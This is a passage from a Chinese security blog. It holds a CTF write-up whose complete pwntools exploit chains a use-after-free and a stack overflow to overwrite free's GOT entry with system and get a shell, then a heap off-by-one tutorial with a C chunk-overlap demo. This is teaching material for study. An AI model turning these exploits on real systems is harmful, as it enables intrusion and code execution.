<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>前天遇到一题含有Use after free的PWN,题目开启了NX、PIE等防护。我花了一天时间磕磕碰碰,最终弄出来了,现记录下过程。</p>
<h3 id="0x01-漏洞利用思路"><a href="#0x01-漏洞利用思路" class="headerlink" title="0x01. 漏洞利用思路"></a>0x01. 漏洞利用思路</h3><p><strong>漏洞位置:</strong> 该题存在两个漏洞,一个是Use after free导致的地址泄漏;一个是栈溢出导致的任意地址写。漏洞如下图:<br><img src="http://d0m021ng.github.io/images/uaf_0.png" alt="我的图片"><br><!--  --></p>
<p><strong>利用思路:</strong> 首先,利用Use after free泄漏libc以及堆块基址。由于题目将代码段的item_free函数地址存储在堆上,因此,利用栈溢出任意地址写结合Use after free可以泄漏代码段的地址。最后利用system地址覆盖free函数的got,然后free堆块就可以了。</p>
<h3 id="0x02-漏洞利用代码"><a href="#0x02-漏洞利用代码" class="headerlink" title="0x02. 漏洞利用代码"></a>0x02. 漏洞利用代码</h3><p>漏洞利用代码如下:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> p = process(<span class="string">'./itemboard'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> p = remote(<span class="string">"pwn2.jarvisoj.com"</span>, <span class="number">9887</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">new_item</span><span class="params">(name, length, des)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'choose:'</span>)</span><br><span class="line"> p.sendline(<span class="string">'1'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Item name?'</span>)</span><br><span class="line"> p.sendline(name)</span><br><span class="line"> p.recvuntil(<span class="string">'len?'</span>)</span><br><span class="line"> p.sendline(str(length))</span><br><span class="line"> p.recvuntil(<span class="string">'Description?'</span>)</span><br><span class="line"> p.sendline(des)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">list_item</span><span class="params">()</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'choose:'</span>)</span><br><span class="line"> p.sendline(<span class="string">'2'</span>)</span><br><span class="line"> <span class="keyword">print</span> p.recvuntil(<span class="string">'1.'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_item</span><span class="params">(num, ans=<span class="string">'Description:'</span>)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'choose:'</span>)</span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Which item?'</span>)</span><br><span class="line"> p.sendline(str(num))</span><br><span class="line"> p.recvuntil(ans)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete_item</span><span class="params">(num)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'choose:'</span>)</span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Which item?'</span>)</span><br><span class="line"> p.sendline(str(num))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span><span class="params">()</span>:</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 1. Leaking libc address and heap address!</span></span><br><span class="line"> new_item(<span class="string">'0'</span>*<span class="number">8</span>, <span class="number">256</span>, <span class="string">'0'</span>*<span class="number">16</span>)</span><br><span class="line"> new_item(<span class="string">'1'</span>*<span class="number">8</span>, <span class="number">32</span>, <span class="string">'1'</span>*<span class="number">16</span>)</span><br><span class="line"> delete_item(<span class="number">0</span>)</span><br><span class="line"> show_item(<span class="number">0</span>) </span><br><span class="line"> addr = p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> main_arena = u64(addr[<span class="number">0</span>:<span class="number">-1</span>].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line"> delete_item(<span class="number">1</span>)</span><br><span class="line"> show_item(<span class="number">1</span>)</span><br><span class="line"> addr = p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> heap_addr = u64(addr[<span class="number">0</span>:<span class="number">-1</span>].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> DEBUG:</span><br><span class="line"> libc = main_arena - <span class="number">0x3c3b10</span> - <span class="number">0x68</span></span><br><span class="line"> system_addr = libc + <span class="number">0x45390</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> libc = main_arena - <span class="number">0x3be740</span> - <span class="number">0x78</span></span><br><span class="line"> system_addr = libc + <span class="number">0x46590</span></span><br><span class="line"></span><br><span class="line"> log.success(<span class="string">"libc address: "</span> + hex(libc))</span><br><span class="line"> log.success(<span class="string">"system address: "</span> + hex(system_addr))</span><br><span class="line"> log.success(<span class="string">"heap address: "</span> + hex(heap_addr))</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 2. Getting .text address</span></span><br><span class="line"> payload = p64(heap_addr)</span><br><span class="line"> payload = payload.ljust(<span class="number">1032</span>, <span class="string">'a'</span>)</span><br><span class="line"> payload += p64(heap_addr + <span class="number">0x38</span>)</span><br><span class="line"> new_item(p64(heap_addr - <span class="number">0x10</span>), <span class="number">1048</span>, payload)</span><br><span class="line"> show_item(<span class="number">1</span>, <span class="string">'Name:'</span>)</span><br><span class="line"> addr = p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> item_free = u64(addr[<span class="number">0</span>:<span class="number">-1</span>].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line"> text = item_free - <span class="number">0xb39</span></span><br><span class="line"> free_got = text + <span class="number">0x202018</span></span><br><span class="line"> log.success(<span class="string">"text address: "</span> + hex(text))</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 3. Overwriting free_got</span></span><br><span class="line"> payload = p64(system_addr)</span><br><span class="line"> payload = payload.ljust(<span class="number">1032</span>, <span class="string">'a'</span>)</span><br><span class="line"> payload += p64(heap_addr - <span class="number">0x148</span>)</span><br><span class="line"> new_item(<span class="string">"/bin/sh\x00"</span>, <span class="number">32</span>, p64(free_got))</span><br><span class="line"> new_item(<span class="string">'4'</span>*<span class="number">16</span>, <span class="number">1048</span>, payload)</span><br><span class="line"> delete_item(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"> p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> exp()</span><br></pre></td></tr></table></figure>
<h3 id="0x03-体会"><a href="#0x03-体会" class="headerlink" title="0x03. 体会"></a>0x03. 体会</h3><p>由于接触堆漏洞时间短,没有大量训练,解决这道题时遇到各种坑,记录下体会。首先,一开始发现了栈溢出,但是没想到如何利用,就忘记了,忘记了。然后发现Use after free可以泄漏地址,但只泄漏了fast bin中堆基址,而没想到泄漏unsorted bin中libc地址。与此同时,发现可以Double free,就一直在想如何构造伪块,利用Large bin attack覆盖tls_dtors_list地址,但是strcpy复制输入数据到堆上时会截断NULL字节并且Large bin attack在当前版本的glibc(2.23)已经失效。尝试了几次,发现这条路走不通。我就重新认真思考,突然发现既然能泄漏堆块基址,就可以泄漏libc基址。当泄漏了libc基址和堆块地址,就在想如何覆盖<a href="mailto:[email protected]" target="_blank" rel="noopener">[email protected]</a>,但是Large bin attack在当前版本glibc已经失效。然后在午睡的时候,突然灵光一闪,发现栈溢出这块还没有利用,认真分析了一下栈溢出可以覆盖的内容,发现可以通过覆盖栈上item地址,造成任意地址写。已经快接近成功了,但是由于程序开启的PIE导致代码段地址随机,无法获取<a href="mailto:[email protected]" target="_blank" rel="noopener">[email protected]</a>地址。就在想如何泄漏text段地址,通过调试观察堆上内容,发现text段的item_free函数的地址存储在堆上。于是,通过任意地址写结合Use after free泄漏text段地址,从而获取<a href="mailto:[email protected]" target="_blank" rel="noopener">[email protected]</a>地址,最终成功。<br><strong>PS:我在Ubuntu14.04(glibc 2.19)上通过Overwriting tls_dtors_list可以利用成功,但是在打远程时由于tls_dtors_list地址偏移不一致,导致失败。</strong></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</div>
</article>
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/03/01/PWN/Linux堆漏洞之off-by-one/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="D0m021ng">
<meta itemprop="description" content="">
<meta itemprop="image" content="/images/2.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a class="post-title-link" href="/2017/03/01/PWN/Linux堆漏洞之off-by-one/" itemprop="url">Linux堆漏洞之off-by-one</a></h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建于" itemprop="dateCreated datePublished" datetime="2017-03-01T15:53:51+08:00">2017-03-01</time>
</span>
<span class="post-category" >
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/Security/" itemprop="url" rel="index"><span itemprop="name">Security</span></a></span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>不同于栈上的off-by-one漏洞,堆上的off-by-one漏洞利用更加复杂灵活。本文参考了一下别人的文章,介绍下Linux堆漏洞off-by-one利用技术,如有错误,欢迎斧正。</p>
<h3 id="0x01-off-by-one原理"><a href="#0x01-off-by-one原理" class="headerlink" title="0x01. off-by-one原理"></a>0x01. off-by-one原理</h3><p>off-by-one漏洞即一个字节溢出,这种漏洞一般情况下很难利用,但是在堆上却有很多利用方式。了解Linux glibc堆分配器ptmalloc2的知道,我们可以通过off-by-one覆盖堆块头的size字段,从而改变该堆块的大小或inuse位,利用堆块覆盖或unlink达到想要的目的。<br><strong>由于glibc堆分配器的字节对齐机制,并不是所有的off-by-one漏洞都可以利用。</strong> 例如:32位系统,按照8字节进行对齐,如果malloc(512),那么实际会分配512+4*2=520字节,其中8字节为prev_size和size字段大小,off-by-one只会覆盖prev_size字段最低字节造成无法利用;如果malloc(508),由于508+8=516字节,516字节不满足8字节对齐,并且考虑到下一块的prev_size字段(4字节)在前一块已分配时,可以填充前一块数据,实际上只会分配508+4=512字节,off-by-one会覆盖size字段最低字节可以利用。同理,64位系统,按照16字节进行对齐,如果malloc(512),那么实际会分配512+8*2=528字节;如果malloc(504),那么实际会分配504+8=512字节。</p>
<h3 id="0x02-off-by-one利用技巧"><a href="#0x02-off-by-one利用技巧" class="headerlink" title="0x02. off-by-one利用技巧"></a>0x02. off-by-one利用技巧</h3><p>如果堆上的off-by-one可以利用,那么有两类利用方式:一类是覆盖size字段inuse位,在free时触发unlink机制;另一类是覆盖size字段最低字节,从而改变堆块大小,使该堆块包含后一块,free掉该堆块之后,再malloc(稍大于该堆块加后一块的大小),就可以对后一块进行读写。</p>
<ol>
<li><p>利用unlink机制<br>这一类利用方式分两种情况:一种是Small bin unlink,另一种是Large bin unlink。</p>
<p><strong>Small bin unlink:</strong> 利用方式已经在<a href="http://d0m021ng.github.io/2017/02/24/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BDouble-free/" target="_blank" rel="noopener">Linux堆漏洞之Double-free</a>中介绍过,虽然是不同的漏洞,但是主要利用原理还是类似的,就不介绍了。</p>
<p><strong>Large bin unlink:</strong> 利用方式在glibc 2.20版之后已经失效,但还是有必要介绍一下其中一些思路。该攻击最早出现在2014年Google Project Zero项目的一篇文章中<a href="https://googleprojectzero.blogspot.fr/2014/08/the-poisoned-nul-byte-2014-edition.html" target="_blank" rel="noopener">The poisoned NUL byte, 2014 edition</a>。在Linux堆漏洞之Double-free中已经讲过unlink宏,其中只讲到unlink Small bin时进行的操作,只需绕过第一层双向循环链表检查就可以利用unlink。如果unlink Large bin,由于Large bin块含有字段fd_nextsize和bk_nextsize,在绕过第一层双向循环链表检查还会进行第二次双向循环链表检查。但是在glibc早期版本(2.19之前),第二次双向循环链表检查只通过断言(assert)形式,属于调试信息,不能真正的对漏洞进行有效的防护。从而可以利用Large bin unlink导致一次任意地址写,然后利用overwriting tls_dtor_list实现漏洞利用。在程序main()函数结束调用exit()函数时,会遍历tls_dtor_list调用一些处理收尾工作的函数,如果通过overwriting tls_dtor_list使其指向伪造的tls_dtor_list,就可以调用自己的函数(如system(‘/bin/sh’))。在当前版本的glibc(2.23)中,unlink宏在unlink Large bin 时会进行双向链表检查,而且在__call_dtors_list中获取tls_dtor_list时也做了一些限制,导致很难利用Large bin unlink。 <strong>Overwriting tls_dtor_list是一个很好的利用点,但是目前我还没有找到如何利用。</strong></p>
</li>
<li><p>利用堆块覆盖<br>这一类攻击主要是获取对目标堆块的读写,利用方式分两种情况:一种是覆盖最低字节为任意数(off-by-one overwrite freed or allocated),另一种是覆盖最低字节为NULL(off-by-one NULL byte)。</p>
<p><strong>off-by-one overwrite freed or allocated :</strong> 如图1所示,堆块A、B、C,其中堆块A已分配且含有off-by-one漏洞,堆块B已释放,堆块C为目标堆块,需要对堆块C可读写。可以通过堆块A的off-by-one漏洞覆盖堆块B size字段的最低字节(不改变inuse位),使堆块B的长度可以包含堆块C。然后在malloc(B+C),就可以获取堆块B的原来指针,从而可以对目标堆块进行读写。<br>如果堆块A、B、C都是已分配,可以释放掉堆块B,将问题转化为前面一种情况,同样可以解决。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> _____________________ ______|_____B_______|______</span><br><span class="line"> | | | | | | | | | |</span><br><span class="line"> | A | B | C | | A | B1 | B2 | | C |</span><br><span class="line"> |______|______|_______| |______|____|____|___|_____|</span><br><span class="line">图<span class="number">1</span> overwrite freed <span class="keyword">or</span> allocated 图<span class="number">2</span> overwrite null byte</span><br></pre></td></tr></table></figure>
<p><strong>off-by-one overwrite NULL byte :</strong> 这类漏洞在实际中很常见,如使用strcpy()进行复制时未考虑字符串长度。如图2所示,堆块A、B、C,其中堆块A已分配且含有off-by-one漏洞,堆块B、C已分配,堆块B2为目标堆块,需要对堆块B2可读写。利用方法:先释放掉堆块B,然后通过堆块A的off-by-one漏洞覆盖堆块B size字段的最低字节为NULL,减小堆块B的size字段值 <strong>(如果堆块B size字段未改变,再次分配时,堆块C的prev_size字段会改变,造成漏洞无法利用)</strong> ;再申请两个较小的堆块B1和B2(B1+B2<B),这时堆块C的prev_size大小仍然是堆块B的大小,释放掉堆块B1和堆块C时就会导致堆块B和堆块C进行合并,然后再malloc(B+C)大小的堆块就可以得到原来堆块B的地址,从而可以对堆块B2进行读写。</p>
</li>
</ol>
<h3 id="0x03-off-by-one漏洞实例"><a href="#0x03-off-by-one漏洞实例" class="headerlink" title="0x03. off-by-one漏洞实例"></a>0x03. off-by-one漏洞实例</h3><p> 下面分享一下off-by-one NULL byte 漏洞代码,今后遇到这类漏洞,再补充一个实例。<br> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><malloc.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>* argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">void</span> *A,*B,*C;</span><br><span class="line"> <span class="keyword">void</span> *B1,*B2;</span><br><span class="line"> <span class="keyword">void</span> *Overlapping;</span><br><span class="line"> A = <span class="built_in">malloc</span>(<span class="number">0x100</span><span class="number">-8</span>);</span><br><span class="line"> B = <span class="built_in">malloc</span>(<span class="number">0x200</span>);</span><br><span class="line"> C = <span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"chunk B address: %x, C address: %x\n"</span>, B, C);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">free</span>(B);</span><br><span class="line"> ((char *)A)[0x100 - 8] = '\x00'; // off-by-one NULL byte</span><br><span class="line"></span><br><span class="line"> B1=<span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line"> B2=<span class="built_in">malloc</span>(<span class="number">0x80</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"chunk B1 address: %x, B2 address: %x\n"</span>, B1, B2);</span><br><span class="line"> <span class="built_in">free</span>(B1);</span><br><span class="line"> <span class="built_in">free</span>(C);</span><br><span class="line"> Overlapping = <span class="built_in">malloc</span>(<span class="number">0x300</span>); </span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"new malloced chunk: %x\n"</span>, Overlapping);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<h3 id="0x04-参考文献"><a href="#0x04-参考文献" class="headerlink" title="0x04. 参考文献"></a>0x04. 参考文献</h3><p><a href="http://bobao.360.cn/learning/detail/3113.html" target="_blank" rel="noopener">1. 从一字节溢出到任意代码执行-Linux下堆漏洞利用</a><br><a href="https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based/" target="_blank" rel="noopener">2. Off-By-One Vulnerability (Heap Based)</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</div>
</article>
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/02/24/PWN/Linux堆漏洞之Double-free/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="D0m021ng">
<meta itemprop="description" content="">
<meta itemprop="image" content="/images/2.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a class="post-title-link" href="/2017/02/24/PWN/Linux堆漏洞之Double-free/" itemprop="url">Linux堆漏洞之Double free</a></h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>